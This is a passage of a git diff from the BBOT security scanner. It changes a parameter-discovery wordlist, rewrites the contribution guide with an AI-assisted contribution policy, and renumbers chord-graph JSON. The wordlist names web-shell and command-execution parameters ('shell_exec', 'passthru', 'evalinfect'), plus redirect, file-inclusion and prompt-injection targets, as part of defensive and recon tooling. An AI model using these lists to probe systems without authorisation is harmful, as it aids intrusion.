-iscustomreport
 iscomment
 iscatchall
 isbinddomain
@@ -5204,7 +4194,6 @@ isSwitch
 isDev
 iron
 ipv6allow
-ipsecpsk
 ipscanner
 iprestricted
 ipprotocol
@@ -5212,7 +4201,6 @@ ipproto
 iplist
 ipandport
 ipaddrv6
-invoiceId
 inviteesid
 invited
 invitation
@@ -5222,7 +4210,6 @@ introeditor
 interfaces
 instanceId
 installstep
-installGoingOn
 inputid
 inputSize
 injector
@@ -5235,22 +4222,16 @@ inid
 inf3ct
 ineligible
 indent
-includenoncache
 incl
 iname
 inajax
 inactive
-inViewWarnings
 inViewLogs
 inViewErrors
-inSessionSecuirty
 inRemember
 inNewUserName
-inForgotPassword
-inDownLoad
 inConfEmail
 inBindLog
-importrobotsmeta
 importonly
 importmethod
 importid
@@ -5259,20 +4240,16 @@ importer
 important
 importaioseo
 importType
-importFile
 impersonate
 imgtype
 imgid
-imdbID
 imagename
 imagefile
 imagedetails
 imageUrl
 imageThumbID
-imagE
 ikesaid
 ikeid
-ignoresubjectmismatch
 ignorephpver
 ignorefatal
 ignored
@@ -5284,9 +4261,7 @@ idname
 idletimeout
 identity
 identifiant
-idb
 idSite
-idL
 id9level
 id9gid
 id8level
@@ -5367,7 +4342,6 @@ id11level
 id11gid
 id10level
 id10gid
-icp
 icode
 icmptype
 icerik
@@ -5382,21 +4356,15 @@ httpbanner
 htmlemail
 html2xhtml
 htcc
-htc
 htaccessnew
-hrs
 howmuch
 howmany
 howlong
-how
 hostres
 hostipformat
 hostapd
-hostName
-hosT
 horario
 holdcnt
-hlp
 hldb
 hidrfile
 hidid
@@ -5407,17 +4375,12 @@ hidFileID
 hid
 hellotime
 health
-hd
-hc
 having
 hashtoh
 hashkey
 hasAudio
 hardenglue
-ham
 gtin
-gt
-gs
 grupo
 grps
 grpage
@@ -5433,7 +4396,6 @@ graphlot
 granularity
 grants
 granted
-gr
 gpstype
 gpssubsec
 gpsstratum
@@ -5446,47 +4408,31 @@ gpsnmea
 gpsinitcmd
 gpsfudge2
 gpsfudge1
-gpsflag4
-gpsflag3
-gpsflag2
-gpsflag1
 gotod
 goodsid
 gomkf
 godb
 godashboard
 goal
-gn
 github
-gip
 gifif
 ggid
 gfils
 getpic
 getm
 getenv
-getdyndnsstatus
 getdb
 getdate
 getcfg
-getThermalSensorsData
-getOutputCompression
 generatekey
 generateKeypair
 general
-ged
-geT
 gdork
-gd
-gc
 gbid
 gatewayv6
-gameID
 gadget
-ga
 fyear
 fwdelay
-fw
 fvonly
 fuzz
 functionz
@@ -5504,19 +4450,16 @@ friend
 fresh
 frames
 fqdn
-fq
 fpath
 fpassw
 forwarding
 forwarderid
-formname
 formfactor
 formdata
 formatup
 formats
 formatdown
 formage
-formId
 formAutosave
 forgotPassword
 forever
@@ -5527,9 +4470,7 @@ fontr
 fontg
 fonte
 fontb
-fontSize
 following
-folderId
 fmt
 flushcache
 flowtable
@@ -5538,40 +4479,27 @@ floating
 fldMandatory
 flashtype
 flashpga
-fl
 fixmetadesc
 firmwareurl
 finds
 findid
 fin
 filtre
-filtertext
-filterlogentriesinterfaces
-filterlogentries
-filterdescriptions
 filled
 filew
 filetosave
 filesend
 fileoffset
-filename64
-filename32
 filecreate
 filecount
-fileOffset
 fileLength
-fileExistsAction
 fileEdit
 fileDataName
-fileContent
 file2ch
-filE
 fieldkey
 fieldCounter
 fid2
 feedId
-fe
-fdo
 fdel
 fcsubmit
 fcopy
@@ -5583,7 +4511,6 @@ fast
 familyName
 facility
 facid
-fType
 ezID
 eyear
 extras
@@ -5609,14 +4536,9 @@ exists
 exif
 executeForm
 execmethod
-execmassdeface
-excludedRecords
 exchange
-exc
 exTime
-exT
 ewidth
-eventname
 eventTitle
 evap
 evalsource
@@ -5624,7 +4546,6 @@ evalinfect
 evalcode
 evac
 etag
-et
 eshopId
 eshopAccount
 esId
@@ -5636,9 +4557,6 @@ epot
 epoch
 entryid
 entryPoint
-entryId
-entryID
-entityID
 entire
 enhanced
 enforceHTTPS
@@ -5647,10 +4565,7 @@ endmonth
 encoder
 encod
 enablestp
-enablesshd
 enableserial
-enablenatreflectionhelper
-enablebinatreflection
 emonth
 eml
 embedded
@@ -5659,10 +4574,8 @@ emailfrom
 emailch
 emailToken
 emailList
-emailID
 emailBody
 elementType
-ee
 edittxt
 editprofile
 editkey
@@ -5701,20 +4614,14 @@ dpgn
 dpath
 downloadid
 downloadbtn
-downloadbackup
 downloadIndex
-downloaD
 downf
 downchange
 dosthisserver
-dosearch
 dopt
-donotbackuprrd
 domerge
 domen
-domainsearchlist
 domainname
-domaiN
 doimage
 documentroot
 documentgroup
@@ -5725,12 +4632,8 @@ docgroup
 doRegister
 doDelete
 dnssrcip
-dnssecstripped
 dnsquery
 dnslocalhost
-dnsallowoverride
-dns4
-dns3
 dnpipe
 dlgzip
 dldone
@@ -5743,16 +4646,9 @@ distribution
 diskspace
 discipline
 disapprove
-disablevpnrules
-disablesegmentationoffloading
 disablescrub
-disablereplyto
 disablenegate
-disablelargereceiveoffloading
-disablehttpredirect
 disablefilter
-disableconsolemenu
-disablechecksumoffloading
 disablecheck
 disablecarp
 disablebeep
@@ -5766,20 +4662,13 @@ dircreate
 diract
 dirList
 dimensions
-dig
 diff
 dhtc
-dhcpv6leaseinlocaltime
-dhcprejectfrom
-dhcpleaseinlocaltime
 dhcphostname
 dhcpfirst
 dhcpbackup
-dhcp6usev4iface
-dhcp6prefixonly
 dfilename
 devid
-deviceid
 detail0
 destslice
 destino
@@ -5815,7 +4704,6 @@ deleteg
 deletedir
 deletedSpecs
 deletecntlist
-deleteUser
 deletePrices
 deleteList
 deleteIndex
@@ -5828,7 +4716,6 @@ degrees
 deftime
 defaulttemplate
 defaultqueue
-defaultleasetime
 defaultgw
 deduction
 decrypt
@@ -5842,21 +4729,14 @@ deathplace
 deathdate
 deadline
 deact
-deS
-deL
-ddo
 ddnsupdate
-ddnsdomainprimary
-ddnsdomainkeyname
 ddnsdomainkey
 ddnsdomain
 dbsocket
 dbn
 dbbase
-dbUsername
 dbTablePrefix
 dbPwd
-dbPass
 dbOP
 datestamp
 datechange
@@ -5871,34 +4751,26 @@ dataangle
 data2
 darezz
 dare
-dID
-cx
 customernumber
 customcss
-customaddtplid
 customId
 customFieldId
 currentday
 currentPassword
 currentPage
 currencyid
-currencyCode
 curpath
 cuenta
-ctx
 ctrl
 ctag
 csvIDs
 csspreview
 csrftoken
 csr
-cs2
-cs1
 crypo
 crtty
 crrt
 crefile
-createstdsubdomain
 createlist
 createdon
 createaccount
@@ -5907,8 +4779,6 @@ crcf
 crannycap
 cracK
 cpyto
-cpw
-cpath
 cpass
 cpage
 coverage
@@ -5918,11 +4788,8 @@ coupling
 countryID
 countonly
 copyname
-cop
-contenttype
 containerid
 contactidlist
-contactID
 contactEmail
 cont
 consumerSecret
@@ -5951,14 +4818,12 @@ combo
 color1
 college
 collectionto
-collectionfrom
 collectcolumn
 coin
 codetype
 coded
 codeblock
 coauthors
-coM
 cnpj
 cmspasswordconfirm
 cmode
@@ -5975,15 +4840,12 @@ clockstats
 clipboard
 cleartokens
 clearquery
-clearlogs
 clearSess
 clearLog
 cleancache
 clay
 classname
 cktime
-ckeditor
-ck
 cipher
 cinterface
 cids
@@ -5991,7 +4853,6 @@ choix
 choice2
 chmodnow
 chmodenum
-chm
 chkalldocs
 chfl
 checksumbits
@@ -5999,7 +4860,6 @@ checknum
 checkmetadesc
 checkid
 checkconnect
-checkaliasesurlcert
 chdir
 chats
 chatmsg
@@ -6009,10 +4869,7 @@ chapter
 chapo
 changestatus
 changero
-changeVisitAlpha
 changePass
-cfy
-cfx
 cfilename
 cfile
 cfil
@@ -6021,12 +4878,10 @@ certsubject
 certref
 certid
 certdepth
-cds
 cdirname
 cdir
 cateid
 categoryname
-categoryName
 catalogid
 catalogName
 casein
@@ -6037,48 +4892,38 @@ capture
 cantidad
 canpreview
 canned
-caneditphpsettings
 caneditdomain
 cancelled
 canceldelete
 campo
 cambio
 callop
-callerId
 caid
 cacheable
 cable
-cP
 c37url
-c2
 byws
 bythis
 bysyml
 bypcu
-bypassstaticroutes
 byoc
 byfc9
 byfc
 byetc
-bye
 bycw
 byapache
 bwdefaultup
 bwdefaultdn
-bv
 buy
 buttonval
 buttons
 businessName
 bulletin
 budget
-bs
 broadcast
 bridgeif
 breakpoints
 breakpoint
-bps
-bpg
 bpage
 bounce
 bottom
@@ -6087,30 +4932,24 @@ bootslice
 boolean
 bookings
 bonus
-bogonsinterval
 boardmod
 blogtitle
 blogtags
 blogbody
 blockpriv
 blockeduntil
-blockedmacsurl
 blockedafter
 blockbogons
 blatent
 birthplace
 birth
-bip
 bindpw
 bindip
 binddn
-bgColor
 benchmark
 behaviour
-be
 bduss
 bcip
-baz
 baslik
 basket
 basic
@@ -6120,9 +4959,7 @@ bantime
 bannedUser
 banip
 banid
-backurl
 backupcount
-backupbeforeupgrade
 backuparea
 autorefresh
 autoredirect
@@ -6147,7 +4984,6 @@ authcfg
 auid
 attendance
 attachmentsid
-attachmentUploadDir
 attachmentId
 attachid
 attaches
@@ -6165,16 +5001,11 @@ argb
 arg2
 archivo
 archivedate
-archiveDate
 apple
 apnum
-apn
 apinger
-apiKey
-aot
 answerid
 annotation
-ann
 animetitle
 anidb
 andor
@@ -6188,7 +5019,6 @@ allyid
 allss
 allqw
 allowopts
-allowinvalidsig
 allowed
 allowZipDownload
 allids
@@ -6196,23 +5026,17 @@ allfields
 allergies
 allDepts
 aliasimport
-aliasesresolveinterval
 aliA
 algo
 alertEmail
 albumname
-alI
-al
-ak
 ajaxMode
 ajaxCalendar
 ajaxAction
-aj
 airdate
 agentoption
 affw
 affiliate
-af
 advskew
 advbase
 advancedview
@@ -6220,10 +5044,6 @@ adsr
 adresse
 admins
 adminlogin
-adminUser
-adminPass
-adminPWD
-adminEmail
 adlr
 addurl
 addtype
@@ -6232,7 +5052,6 @@ addtag
 addsite
 addrule
 addressren
-address0
 addpool
 addonkey
 additionalData
@@ -6240,13 +5059,10 @@ addfile
 addevent
 addcat
 addacc
-addUser
 addOption
-addComment
 addBase
 adaptivestart
 adaptiveend
-adapter
 ad2syp
 ad2syc
 actreject
@@ -6261,192 +5077,88 @@ act3
 act2
 acpage
 ackqueue
-ack
 acfcomp
 accLimit
 acao
 abbr
-ZipName
-Yol
-Y
-XL
 WIDsubject
-VerifyCode
 VPSSignature
-UserType
-UserSettingsForm
-UserName
 UserLoginForm
 UserForm
-UserCreateForm
-URI
 TxAuthNo
 TrYaG
 Touchm
 Toucha
-Touch
-Taxonomy
-Task
-Target
-TO
 TITL
 SysMessage
 SubsiteID
-Submit2
 StoreCategory
-StepID
 Soups
 ShareForm
 SettingsForm
-Setting
-Service
 SecurityKey
 SearchForm
 Sandwiches
 Salads
 SURN
-SUBMIT
 SPFX
 SAMLRequest
-Result
-ResourceUploadForm
 ResetRRD
-Register
-ReduxFrameworkPlugin
 ROMN
-RESULT
-RESET
-REPO
 RECHECK
-RC
-Q
-Public
-ProjectUserForm
-PostCodeResult
-PostCode
-Plain
-Person
-Perms
 PayerStatus
 ParentPage
-Parent
-PWD
 PUBL
-PHONE
-Owner
 Opt2
 Opt1
 OpenWith
-Object
 NetworkUserID
-NetworkScreenName
-NetworkPlatform
 NSFX
 NPFX
-NOTE
-NICK
 N3tshcook
 ModuleVar
-LostPasswordForm
-Lookup
 LegendMode
 Last4Digits
-LATEST
 KloutID
 Joomla
-Import
 IPv6
-HowMany
 Hkrkoz
-Help
 Heads
-Hash
 HMACKey
 Good
 GiftAid
-GROUP
 GRAPHS
 GIVN
-GENDER
-Form
-Flag
-Filter
 FileIDs
-File
-Field
 FactoryName
 FactoryId
 FXuser
 FXpass
 FXimage
 FONE
-FILES
-FIELDS
-Export
 ExpiryDate
-Example
-Event
 EmailForm
 EVEN
-ENCRYPTION
-E
-Download
-DevForceUpdate
 Desserts
-DUMP
-DESC
-Customer
 CustomPage
-Currency
-Create
-Coupon
 ContentList
-Contacts
-City
-Cancel
 CallStatus
-Calendar
 CV2Result
 CSalt
-CID
 CHIL
 CAVV
-CAPTCHA
 CALN
-Blog
-Block
 Beverages
 AuthItemChild
-Attachment
 Albania
-Admin
 AddressStatus
 AddressResult
 Accounts
 AVSCV2
-AUTH
-AMOUNT
-ALL
-ABBR
-4
 3DSecureStatus
-23
-22
-21
-2
-17
-16
-15
-14
-13
-12
-11
-_escaped_fragment_
 __amp_source_origin
 http_host
 api-version
-x-method-override
-x-http-method-override
 access_token
 applicationid
 assembly
@@ -6456,7 +5168,6 @@ buildid
 checkin
 checkno
 classID
-classid
 classnames
 codetext
 connectionData
@@ -6469,10 +5180,8 @@ dataid
 echo
 FappId
 flinkid
-FLinkId
 idNoticia
 idUsuario
-Usuario
 Noticia
 jobid
 linkid
@@ -6513,3 +5222,68 @@ user_token
 adminCookie
 fullapp
 LandingUrl
+__nextDataReq
+_rsc
+_json
+code_challenge
+code_verifier
+code_challenge_method
+request_uri
+id_token_hint
+post_logout_redirect_uri
+login_hint
+prompt
+operationName
+persisted_query
+image_url
+avatar_url
+logo_url
+feed_url
+xml_url
+fetch_url
+proxy_url
+webhook_url
+webhook
+callback_url
+success_url
+error_url
+return_to
+return_url
+redirect_uri
+continue_url
+cancel_url
+template_path
+view_path
+include_file
+load_file
+load_path
+skin_path
+asset_path
+shell_exec
+passthru
+popen
+run_cmd
+run_command
+upload_id
+total_chunks
+chunk_size
+chunk_index
+chunk_number
+tus_id
+part_number
+part_size
+api_version
+tenant
+tenant_id
+workspace_id
+org_slug
+system_prompt
+user_prompt
+temperature
+top_p
+top_k
+max_tokens
+tool_choice
+function_call
+debug_mode
+dev_mode
diff --git a/docs/contribution.md b/docs/contribution.md
index b291cea68a..5d4015a3f8 100644
--- a/docs/contribution.md
+++ b/docs/contribution.md
@@ -1,8 +1,63 @@
-# Contribution
+# Contributing to BBOT
 
-We welcome contributions! If you have an idea for a new module, or are a Python developer who wants to get involved, please fork us or come talk to us on [Discord](https://discord.com/invite/PZqkgxu5SA).
+We welcome contributions! There are a number of ways to contribute to BBOT.
 
-To get started devving, see the following links:
+If you want to chat about BBOT or get help with a contribution, come find us on [Discord](https://discord.com/invite/PZqkgxu5SA).
+
+## Open an Issue
+
+Opening an issue is the simplest way to contribute. If you spot a bug or see a way to improve something, open an issue and we'll do our best to address it promptly.
+
+## Open a Discussion
+
+If you have an idea for a new module or feature, or just have questions about existing modules, discussions are the correct place for it. Issues opened for these items will most likely be moved here anyway.
+
+## Pull Requests
+
+We love pull requests. Before you submit them though, there are a few things to discuss.
+
+### Should It Be an Issue Instead?
+
+As AI-assisted contributions have become more common, we've seen an increase in large PRs trying to change things that touch complex core internals. Much of the core BBOT code is extremely complicated and load-bearing. If your AI doesn't grasp the full context, untangling your PR is going to take us longer than if we made the changes ourselves.
+
+Basically, don't feel pressured to submit a fix just because you found a bug. If the fix isn't straightforward, an issue that shows clearly how to reproduce the problem is often more helpful than a sprawling PR.
+
+### AI Policy
+
+Modern AI is an incredibly valuable tool for development. We definitely use it. However, it is still just a tool, and it REALLY matters how you use it.
+
+- **Blind trust is not good.** Even the most advanced models make horrific mistakes, just as they have moments of brilliance.
+- **Human accountability.** If your name is on the code, it's up to you to understand it. A simple rule: don't submit anything you don't understand.
+- **No low quality submissions.** If you just submitted the same slop PR to 20 other repos, we are going to close it. If it ignores all the normal patterns in use in BBOT and does its own thing, we are going to close it. If you make a good-faith attempt at doing it right, we're more than happy to help you along.
+- **Don't let the AI edit tests.** Of course, there will be some times where a test edit is legitimately needed, but this is a common antipattern for AI agents. 
+
+We don't require AI disclosure, but it's not discouraged either (usually we can tell though).
+
+We provide an [AGENTS.md](https://github.com/blacklanternsecurity/bbot/blob/dev/AGENTS.md) file in the repo root. Feed this to your LLM before working on BBOT. It describes our conventions and should help steer AI-assisted contributions in the right direction.
+
+### Other Advice
+
+- **Work off the `dev` branch.** Almost all PRs should target `dev`, not `stable`. Create your feature branch from `dev` and open your PR against it.
+- The pull requests we are most likely to approve are ones that address a very specific thing in a focused way. Don't let that stop you from writing a whole new, even complicated module. However, expect some critical feedback and some rounds of revisions.
+- Be mindful of security. We have had multiple CVEs, including critical CVEs. If your module is doing potentially dangerous things like running commands, reading and writing files, etc. -  expect a lot of extra scrutiny.
+
+### Tests
+
+We believe tests are the backbone of any large scale project. Think of them like a save-point for a capability. Without them, regressions constantly creep in and accumulate.
+
+Every module MUST have module tests. There are tons of examples to draw from with existing modules. We can also help you write the tests. They shouldn't be there just to be there, they should really exercise as much of the code in your module as possible. 
+
+If you make a change to any core code, helpers, etc - chances are if you break anything, our massive amount of tests (as of this writing's creation over 300) will catch it. So run them. Try to run the entire test suite against your code before you submit it. 
+
+For more details, see [Unit Tests](./dev/tests.md).
+
+## Contributor License Agreement
+
+Like many open-source projects, we ask that you sign our [Contributor License Agreement](https://github.com/blacklanternsecurity/CLA/blob/main/ICLA.md) before we can accept your contribution.
+
+## Development
+
+Ready to dive in? See the following links to get started:
 
 - [Setting up a Dev Environment](./dev/dev_environment.md)
 - [How to Write a BBOT Module](./dev/module_howto.md)
diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json
index ccb7e8a82a..1aa25f459c 100644
--- a/docs/data/chord_graph/entities.json
+++ b/docs/data/chord_graph/entities.json
@@ -23,36 +23,39 @@
         ]
     },
     {
-        "id": 137,
+        "id": 19,
         "name": "AZURE_TENANT",
         "parent": 88888888,
         "consumes": [
-            136
+            135
         ],
-        "produces": []
+        "produces": [
+            18
+        ]
     },
     {
-        "id": 45,
+        "id": 46,
         "name": "CODE_REPOSITORY",
         "parent": 88888888,
         "consumes": [
-            63,
-            82,
-            83,
-            87,
-            90,
-            124,
-            144
-        ],
-        "produces": [
-            44,
-            64,
+            65,
+            80,
             81,
-            84,
             85,
             88,
-            89,
-            123
+            123,
+            141,
+            143
+        ],
+        "produces": [
+            45,
+            66,
+            79,
+            82,
+            83,
+            86,
+            87,
+            122
         ]
     },
     {
@@ -62,10 +65,10 @@
         "consumes": [
             6,
             15,
-            19,
-            20,
-            24,
-            26,
+            18,
+            21,
+            25,
+            27,
             28,
             29,
             31,
@@ -73,27 +76,28 @@
             33,
             34,
             35,
-            37,
+            36,
             38,
-            42,
+            39,
             43,
-            46,
-            51,
+            44,
+            47,
             52,
             53,
             54,
-            56,
+            55,
             57,
             58,
             59,
             60,
-            62,
-            68,
-            79,
+            61,
+            64,
+            70,
+            77,
+            82,
             84,
-            86,
-            94,
-            98,
+            92,
+            96,
             105,
             109,
             111,
@@ -101,95 +105,103 @@
             115,
             119,
             121,
-            125,
+            124,
+            128,
             129,
             130,
-            131,
             132,
             133,
-            136,
+            135,
+            137,
+            138,
             139,
-            140,
-            141,
-            143,
+            142,
+            146,
             147,
-            150,
             151,
-            153
+            154
         ],
         "produces": [
             6,
-            19,
-            26,
-            34,
+            18,
+            27,
             35,
-            37,
+            36,
             38,
             39,
-            42,
+            40,
             43,
-            51,
+            44,
             52,
-            56,
+            53,
             57,
             58,
             59,
             60,
             61,
-            79,
-            94,
-            98,
+            62,
+            77,
+            92,
+            96,
             105,
             109,
             112,
             114,
             115,
-            125,
-            129,
-            131,
+            124,
+            128,
+            130,
             132,
+            135,
             136,
+            137,
             138,
-            139,
-            140,
-            143,
+            142,
+            146,
             147,
-            148,
-            150,
             151,
-            153
+            154
         ]
     },
     {
-        "id": 21,
+        "id": 22,
         "name": "DNS_NAME_UNRESOLVED",
         "parent": 88888888,
         "consumes": [
-            20,
-            136,
-            141
+            21,
+            135,
+            139
         ],
         "produces": []
     },
     {
-        "id": 47,
+        "id": 149,
+        "name": "DNS_NAME_UNVERIFIED",
+        "parent": 88888888,
+        "consumes": [],
+        "produces": [
+            148
+        ]
+    },
+    {
+        "id": 48,
         "name": "EMAIL_ADDRESS",
         "parent": 88888888,
         "consumes": [
-            69
+            71
         ],
         "produces": [
-            46,
-            53,
-            58,
-            62,
-            68,
-            86,
-            98,
+            47,
+            54,
+            59,
+            64,
+            70,
+            84,
+            96,
             119,
-            130,
+            129,
             133,
-            138
+            136
         ]
     },
     {
@@ -197,21 +209,21 @@
         "name": "FILESYSTEM",
         "parent": 88888888,
         "consumes": [
-            73,
+            103,
             104,
-            144,
-            145
+            143,
+            144
         ],
         "produces": [
             8,
-            63,
-            77,
-            82,
-            83,
-            87,
-            104,
-            124,
-            145
+            65,
+            75,
+            80,
+            81,
+            85,
+            103,
+            123,
+            144
         ]
     },
     {
@@ -220,61 +232,67 @@
         "parent": 88888888,
         "consumes": [
             15,
-            155
+            156
         ],
         "produces": [
             1,
-            20,
-            22,
-            24,
+            14,
+            18,
+            21,
+            23,
             25,
+            26,
             28,
             29,
             31,
             32,
             33,
-            36,
-            81,
-            89,
+            34,
+            37,
+            69,
+            78,
+            79,
+            87,
+            91,
             93,
             95,
-            97,
             106,
             107,
+            108,
             110,
             112,
             113,
-            116,
-            117,
+            125,
             126,
-            127,
+            131,
             132,
-            134,
-            136,
-            142,
-            144,
-            146,
-            156
+            135,
+            140,
+            141,
+            143,
+            145,
+            152,
+            154
         ]
     },
     {
-        "id": 101,
+        "id": 100,
         "name": "GEOLOCATION",
         "parent": 88888888,
         "consumes": [],
         "produces": [
-            100,
-            103
+            99,
+            102
         ]
     },
     {
-        "id": 48,
+        "id": 49,
         "name": "HASHED_PASSWORD",
         "parent": 88888888,
         "consumes": [],
         "produces": [
-            46,
-            53
+            47,
+            54
         ]
     },
     {
@@ -284,25 +302,28 @@
         "consumes": [
             1,
             15,
-            25,
-            67,
-            70,
-            77,
-            89,
-            95,
+            26,
+            69,
+            72,
+            75,
+            87,
+            93,
             110,
             111,
             112,
             116,
             117,
             118,
+            135,
             136,
-            142,
-            144,
-            156
+            140,
+            143
         ],
         "produces": [
-            96
+            94,
+            107,
+            148,
+            154
         ]
     },
     {
@@ -312,32 +333,35 @@
         "consumes": [
             11,
             15,
-            39,
-            100,
+            40,
+            99,
+            101,
             102,
-            103,
             111,
             121,
+            131,
             132,
-            136
+            135
         ],
         "produces": [
             15,
-            39,
-            61,
-            102,
-            136
+            40,
+            62,
+            101,
+            135
         ]
     },
     {
-        "id": 122,
+        "id": 63,
         "name": "IP_RANGE",
         "parent": 88888888,
         "consumes": [
             121,
-            136
+            135
         ],
-        "produces": []
+        "produces": [
+            62
+        ]
     },
     {
         "id": 9,
@@ -347,7 +371,7 @@
             8
         ],
         "produces": [
-            90
+            88
         ]
     },
     {
@@ -356,55 +380,56 @@
         "parent": 88888888,
         "consumes": [
             15,
-            78,
-            96,
+            76,
+            94,
             111,
-            120,
-            138
+            120
         ],
         "produces": [
             15,
-            39,
+            40,
             121,
+            131,
             132,
-            136
+            135
         ]
     },
     {
-        "id": 40,
+        "id": 41,
         "name": "OPEN_UDP_PORT",
         "parent": 88888888,
         "consumes": [],
         "produces": [
-            39
+            40,
+            131
         ]
     },
     {
-        "id": 65,
+        "id": 67,
         "name": "ORG_STUB",
         "parent": 88888888,
         "consumes": [
-            64,
-            85,
-            90,
-            123
+            66,
+            83,
+            88,
+            122
         ],
         "produces": [
-            136
+            135
         ]
     },
     {
-        "id": 49,
+        "id": 50,
         "name": "PASSWORD",
         "parent": 88888888,
         "consumes": [],
         "produces": [
-            46,
-            53
+            47,
+            54
         ]
     },
     {
-        "id": 41,
+        "id": 42,
         "name": "PROTOCOL",
         "parent": 88888888,
         "consumes": [
@@ -413,94 +438,97 @@
             111
         ],
         "produces": [
-            39,
-            78
+            40,
+            76
         ]
     },
     {
-        "id": 55,
+        "id": 56,
         "name": "RAW_DNS_RECORD",
         "parent": 88888888,
         "consumes": [],
         "produces": [
-            54,
-            61,
-            62
+            55,
+            62,
+            64
         ]
     },
     {
-        "id": 71,
+        "id": 73,
         "name": "RAW_TEXT",
         "parent": 88888888,
         "consumes": [
-            70,
-            144
+            72,
+            143
         ],
         "produces": [
-            73
+            104
         ]
     },
     {
-        "id": 66,
+        "id": 68,
         "name": "SOCIAL",
         "parent": 88888888,
         "consumes": [
-            64,
-            85,
-            88,
-            89,
-            91,
-            123,
-            136
-        ],
-        "produces": [
-            64,
+            66,
+            83,
             86,
+            87,
             89,
+            122,
             135
+        ],
+        "produces": [
+            66,
+            84,
+            87,
+            134
         ]
     },
     {
-        "id": 23,
+        "id": 24,
         "name": "STORAGE_BUCKET",
         "parent": 88888888,
         "consumes": [
-            22,
+            23,
             28,
             29,
             30,
             31,
             32,
             33,
-            136
+            34,
+            135
         ],
         "produces": [
             28,
             29,
             31,
             32,
-            33
+            33,
+            34
         ]
     },
     {
-        "id": 17,
+        "id": 5,
         "name": "TECHNOLOGY",
         "parent": 88888888,
         "consumes": [
             15,
-            89,
-            155,
+            87,
+            141,
             156
         ],
         "produces": [
-            25,
-            39,
-            67,
+            1,
+            26,
+            40,
+            69,
+            87,
             89,
-            91,
             113,
-            132,
-            156
+            131,
+            132
         ]
     },
     {
@@ -511,166 +539,142 @@
             1,
             14,
             15,
-            22,
-            36,
-            74,
-            80,
-            81,
+            23,
+            37,
+            78,
+            79,
+            89,
             91,
-            93,
-            96,
-            99,
-            107,
-            112,
-            113,
-            120,
-            128,
-            134,
-            136,
-            142,
-            146,
+            94,
+            97,
+            107,
+            112,
+            113,
+            120,
+            127,
+            135,
+            140,
+            145,
             148,
             152,
-            155
+            153,
+            154,
+            156,
+            157
         ],
         "produces": [
-            91,
-            96
+            89,
+            94
         ]
     },
     {
-        "id": 76,
+        "id": 98,
         "name": "URL_HINT",
         "parent": 88888888,
         "consumes": [
-            75
+            158
         ],
         "produces": [
-            99
+            97
         ]
     },
     {
-        "id": 27,
+        "id": 20,
         "name": "URL_UNVERIFIED",
         "parent": 88888888,
         "consumes": [
-            44,
-            77,
-            96,
+            45,
+            75,
+            94,
             114,
             120,
-            127,
+            126,
+            134,
             135,
-            136
+            141
         ],
         "produces": [
-            26,
+            18,
+            27,
             30,
-            39,
-            54,
-            58,
-            62,
+            40,
+            55,
+            59,
             64,
-            70,
-            74,
-            75,
-            84,
-            91,
-            98,
-            128,
-            130,
-            147,
-            153,
-            156
+            66,
+            72,
+            76,
+            82,
+            89,
+            96,
+            127,
+            129,
+            146,
+            154,
+            157,
+            158
         ]
     },
     {
-        "id": 50,
+        "id": 51,
         "name": "USERNAME",
         "parent": 88888888,
         "consumes": [
-            136
+            135
         ],
         "produces": [
-            46,
-            53
+            47,
+            54
         ]
     },
     {
-        "id": 149,
-        "name": "VHOST",
+        "id": 150,
+        "name": "VIRTUAL_HOST",
         "parent": 88888888,
-        "consumes": [
-            155
-        ],
+        "consumes": [],
         "produces": [
             148
         ]
     },
     {
-        "id": 5,
-        "name": "VULNERABILITY",
-        "parent": 88888888,
-        "consumes": [
-            15,
-            155
-        ],
-        "produces": [
-            1,
-            14,
-            20,
-            22,
-            24,
-            25,
-            67,
-            80,
-            107,
-            108,
-            113,
-            132,
-            142,
-            144,
-            156
-        ]
-    },
-    {
-        "id": 18,
+        "id": 17,
         "name": "WAF",
         "parent": 88888888,
         "consumes": [
             15
         ],
         "produces": [
-            152
+            153
         ]
     },
     {
-        "id": 92,
+        "id": 90,
         "name": "WEBSCREENSHOT",
         "parent": 88888888,
         "consumes": [],
         "produces": [
-            91
+            89
         ]
     },
     {
-        "id": 72,
+        "id": 74,
         "name": "WEB_PARAMETER",
         "parent": 88888888,
         "consumes": [
-            97,
+            95,
             107,
             116,
             117,
             118,
-            126,
-            154
+            125,
+            155
         ],
         "produces": [
-            70,
+            72,
             116,
             117,
-            118
+            118,
+            154
         ]
     },
     {
@@ -727,7 +731,7 @@
             3
         ],
         "produces": [
-            5
+            4
         ]
     },
     {
@@ -740,10 +744,9 @@
             2,
             12,
             16,
-            17,
-            3,
             5,
-            18
+            3,
+            17
         ],
         "produces": [
             12,
@@ -751,56 +754,56 @@
         ]
     },
     {
-        "id": 19,
+        "id": 18,
         "name": "azure_tenant",
         "parent": 99999999,
         "consumes": [
             7
         ],
         "produces": [
-            7
+            19,
+            7,
+            4,
+            20
         ]
     },
     {
-        "id": 20,
+        "id": 21,
         "name": "baddns",
         "parent": 99999999,
         "consumes": [
             7,
-            21
+            22
         ],
         "produces": [
-            4,
-            5
+            4
         ]
     },
     {
-        "id": 22,
+        "id": 23,
         "name": "baddns_direct",
         "parent": 99999999,
         "consumes": [
-            23,
+            24,
             3
         ],
         "produces": [
-            4,
-            5
+            4
         ]
     },
     {
-        "id": 24,
+        "id": 25,
         "name": "baddns_zone",
         "parent": 99999999,
         "consumes": [
             7
         ],
         "produces": [
-            4,
-            5
+            4
         ]
     },
     {
-        "id": 25,
+        "id": 26,
         "name": "badsecrets",
         "parent": 99999999,
         "consumes": [
@@ -808,12 +811,11 @@
         ],
         "produces": [
             4,
-            17,
             5
         ]
     },
     {
-        "id": 26,
+        "id": 27,
         "name": "bevigil",
         "parent": 99999999,
         "consumes": [
@@ -821,7 +823,7 @@
         ],
         "produces": [
             7,
-            27
+            20
         ]
     },
     {
@@ -830,11 +832,11 @@
         "parent": 99999999,
         "consumes": [
             7,
-            23
+            24
         ],
         "produces": [
             4,
-            23
+            24
         ]
     },
     {
@@ -843,11 +845,11 @@
         "parent": 99999999,
         "consumes": [
             7,
-            23
+            24
         ],
         "produces": [
             4,
-            23
+            24
         ]
     },
     {
@@ -855,10 +857,10 @@
         "name": "bucket_file_enum",
         "parent": 99999999,
         "consumes": [
-            23
+            24
         ],
         "produces": [
-            27
+            20
         ]
     },
     {
@@ -867,11 +869,11 @@
         "parent": 99999999,
         "consumes": [
             7,
-            23
+            24
         ],
         "produces": [
             4,
-            23
+            24
         ]
     },
     {
@@ -880,28 +882,41 @@
         "parent": 99999999,
         "consumes": [
             7,
-            23
+            24
         ],
         "produces": [
             4,
